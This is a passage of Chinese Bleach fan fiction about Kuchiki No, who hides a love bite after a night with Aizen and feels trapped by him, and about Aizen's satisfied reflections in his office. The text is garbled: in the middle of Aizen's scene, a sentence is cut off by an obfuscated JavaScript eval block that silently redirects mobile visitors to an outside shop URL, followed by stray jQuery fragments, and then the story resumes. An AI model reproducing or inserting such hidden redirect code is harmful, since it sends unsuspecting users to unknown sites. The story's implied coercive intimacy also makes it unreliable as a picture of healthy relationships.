诺回到六番队的时候,太阳已经升到瀞灵廷白墙的墙头了。

    他在门口跟蓝染告别,语气恢复了平时那种懒散的调子,好像昨晚什么都没发生过。他催促式拍了拍蓝染的手臂——是那种“行了行了你可以走了”的拍法。蓝染微笑着说了句“下次再来我家喝茶”,诺头也不回地挥了挥手,然后一脚踏进六番队大门。

    一进门他就后悔了,白哉站在庭院里,背对着大门,正在看那棵老松树。这个时间点白哉通常应该在队长室批文书,出现在庭院里只意味着一件事——他在等人。

    诺的脚步骤然放慢,脑子里飞速运转,白哉转过身来,目光平静地落在诺身上,从诺的头发看到诺身上的死霸装。

    还好昨晚被蓝染撕破的下摆已经修复了。

    “昨晚去哪了。”白哉的声音依旧是那个冷淡的调子,但诺注意到他的目光在他脖子上停了一瞬。

    “蓝染队长家。”诺说,语气随意得像在说昨晚食堂吃了什么,“他请我喝酒,我喝多了,就在他家睡了,没事,什么都没发生。”

    白哉沉默了两秒,这两秒里诺觉得庭院里的空气都凝固了,老松树上那只蝉都不叫了。

    白哉开口,语气依旧是那个冷淡的调子,但每一个字都像是斟酌过的:“注意分寸。”

    诺眨了眨眼,他哥没有追问,没有质疑,诺张了张嘴想说点什么插科打诨,但白哉已经转身往队长室走了,队长羽织的下摆随着步伐轻轻摆动,背影依旧是那个从容冷峻的朽木家家主。

    诺站在庭院里,看着白哉的背影消失在走廊尽头,然后长长地吐了一口气。

    他回到自己的休息室,关上门,靠在门板上,仰头看着天花板。昨晚的画面像走马灯一样在脑子里转,他把脸埋进手掌里,发出一声闷闷的、介于呻吟和哀嚎之间的声音,然后他站起来走到镜子前。

    镜子里的人穿着黑色的死霸装,黑发束成蓬松的高马尾,脸色正常,没有黑眼圈,嘴唇是淡色的粉,没有红肿。他侧过身,撩开垂在后侧的黑发,露出耳后和脖颈。

    他有个不妙的想法,他哥刚刚是看到了什么吗?蓝染这家伙……

    靠近耳后的位置有一块指甲盖大小的红痕,在白皙皮肤上格外扎眼,像是一颗被按进雪里的樱桃。

    诺扯开扎头发的发绳,把下方的黑发散下来,扎了个半马尾。他对着镜子左看右看,确认遮住,然后一屁股坐在榻榻米上,盘起腿,开始认真思考一个严肃的问题。

    他不能再跟蓝染独处了,不是“尽量不”,不是“少一点”,是绝对不能再独处。

    事情是怎么发展到现在的地步的?蓝染这个人有一种可怕的能力,只要两个人单独待在一个空间里,他就能一步一步地把诺逼到退无可退的境地。诺唯一能做的就是不给蓝染独处的机会,只要周围有第三个人,蓝染就是那个温和宽厚的五番队队长,笑眯眯的,人畜无害的,绝对不会当着别人的面搞他。

    蓝染要维持他的人设,这就是诺的护身符。

    诺靠在墙上,仰头看着天花板,脑子里翻来覆去地想一个问题——难道就没什么人能治治蓝染吗?

    他掰着手指头数尸魂界能跟蓝染正面抗衡的人。山本总队长,老头的流刃若火确实强,但蓝染有镜花水月,老头看了镜花水月解放,已经被催眠了。浦原喜助——脑子够聪明,手段够多,但现在还在现世蹲着,远水解不了近渴。朽木白哉——他哥的千本樱确实厉害,但诺绝对不可能把白哉卷进来。

    他哥是朽木家的家主,是六番队队长,是将来要在千年血战中活下来的人,诺不能让白哉因为自己去跟蓝染正面对抗。

    诺忽然觉得自己很可笑,他居然想找个人治蓝染。

    诺把后脑勺靠在墙上,闭上眼睛,开始想更实际的问题。躲不过蓝染,打不过蓝染,找不到人治蓝染,那他还有什么选项?

    调职,调到蓝染够不着的地方。

    他第一个想到的是灵王宫——零番队,王属特务,住在灵王宫里面,跟尸魂界隔了七十二道屏障,蓝染就算叛变了也得先打完瀞灵廷才能上去。

    但诺只想了半秒就把这个选项划掉了,零番队不收混日子的,他朽木诺在瀞灵廷的名声是什么?零番队的选拔标准是“创造了某项对尸魂界有重大贡献的发明或技术”,他创造过什么?创造了在走廊下连续晒太阳三个时辰不挪窝的记录?创造了支使五番队队长跑腿买点心的先例?创造了被反派BOSS大搞的荒唐场面?他连零番队的大门朝哪开都不知道。

    第二个选项是中央四十六室,诺想到这个选项的时候差点笑了。中央四十六室——尸魂界的最高司法机关,四十位贤者加六位审判官,地位崇高,权力巨大,理论上连队长都要受他们管辖。这是贵族博弈的主战场,他一个朽木家的去送去当政治炮灰吗?

    第三个选项是现世,诺在现世待过好几年,熟悉环境,有浦原和夜一照应,生活比尸魂界有趣得多。

    但现世也有一个致命的问题,蓝染也能去现世,他在现世和虚圈都有实验室,诺要是在现世,蓝染正好顺手把他抓走了。到时候诺被关在虚圈的某个实验室里,蓝染每天下班回来做实验,做完实验顺便做他——这个画面太清晰了,清晰到诺打了个寒颤。

    他把所有选项在脑子里过了一遍,得出了一个结论:无处可逃。

    尸魂界没有蓝染够不着的地方,虚圈是蓝染的地盘,现世是蓝染未来的战场,他就像被一只无形的手按在了棋盘上,无论怎么挪都挪不出那只手的掌心。

    诺睁开眼,低头看着自己的手,慢慢握成拳头,又慢慢松开。然后他站起来,走到窗边,推开窗户,让外面的阳光照进来。走廊下的老松树在午前的阳光下投下一片浓荫,训练场上传来恋次挥刀的吆喝声,远处食堂飘来午饭的香气。六番队还是那个六番队,什么都没变。

    诺决定不想了,逃不掉就不逃了,打不过就不打了。只要注意点身边有第三个人,蓝染就是那个笑眯眯的老好人,日子还能过下去。

    与此同时,五番队队长室里,蓝染惣右介的心情非常好。

    不是平时那种用温和微笑表现出来的好,而是一种从内心深处泛上来的、让他批文书的时候嘴角都压不下去。窗外阳光明媚,庭院里的紫藤花开得正盛,一串串垂下来的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855271|211880||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紫色花穗在微风中轻轻摇晃。蓝染坐在队长室的桌前,手里握着毛笔,面前摊着一份关于流魂街治安巡逻的例行报告。

    他的思绪不在报告上,他的思绪在昨晚。在诺散在他枕头上的黑发,在诺被他拽着脚腕拖回来时惊慌的喊声,在诺骑在他身上按着他下时那种带着挑衅的冷笑,在诺趴在他胸口睡着后平稳的呼吸和微微张开的嘴唇。还有今早诺照镜子发现吻痕时大概会有的表情,蓝染能想象出来诺骂骂咧咧重新扎头发的样子,这个想象让蓝染的嘴角又翘了翘。

    有人敲门,蓝染说了声“请进”。进来的是雏森桃,手里抱着一叠整理好的巡逻报告,脸上是带着几分崇拜和关心的微笑,她把报告放在蓝染桌上,然后犹豫了一下,没有立刻退出去。

    “蓝染队长,”她说,语气里带着几分开心羞怯,“您今天心情好像特别好?”

    “是的。”蓝染微笑着,没有否认。

    雏森桃看着他,嘴唇动了动,像是想说什么又不太敢说。蓝染知道她想说什么——她大概看到了最新一期杂志上诺给他戴眼镜的照片,大概听到了关于朽木诺和蓝染队长划清关系的传言,大概又在心里为他不平。果然,雏森桃犹豫了几秒之后,还是开口了。

    “蓝染队长,朽木二公子他昨天……是不是又对您说了什么过分的话?他当着朽木队长的面说那种话,我们都觉得太失礼了,您一直对他那么好,那天晚上他还当众羞辱您——”

    “雏森。”蓝染打断了她。不是平时那种温和的、带着几分纵容的声音,而是一种更严肃的、更不容置疑的打断。雏森桃愣住了。蓝染放下毛笔,抬起头看着她,嘴角的微笑还在,但镜片后面的目光没有了平时的温和,取而代之的是一种认真的严肃。

    “诺君是我的朋友,”蓝染说,声音平稳而清晰,“朋友之间的关系不需要别人来评判,他对我态度如何,是我和他之间的事。我希望你和五番队的队员们,不要因为那天晚上的事对诺君有任何成见。”

    雏森桃张了张嘴,脸上的表情从愣住变成了困惑,又从困惑变成了一种被训诫之后的微微泛红。她低下头,手指在衣摆上绞了一下,然后小声说:“是……对不起,蓝染队长。”

    “不必道歉,”蓝染的语气缓和下来,重新恢复了平时那种温和的调子,“我知道你是关心我,但朋友是个人选择,是我选择诺君作为朋友,他是什么样的人,我比任何人都清楚。”

    雏森桃点了点头,又行了个礼,然后退出了队长室。

    门合上之后,蓝染重新拿起毛笔,低头看着面前那份巡逻报告。他刚才对雏森桃说的那些话,不是演戏,不是维持人设,虽然“朋友”这个词,已经远远不足以概括他和朽木诺之间的关系。

    一开始他找上朽木诺,是因为他有用,因为诺的体质特殊,因为诺知道他的秘密需要控制。但现在他选择朽木诺,是因为朽木诺是朽木诺,这个选择不需要任何人的理解,也不需要任何人的批准。

    蓝染把毛笔蘸满墨,在巡逻报告的末尾签上自己的名字,窗外阳光明媚,紫藤花在微风中轻轻摇晃,五番队的庭院里传来队员们训练的吆喝声。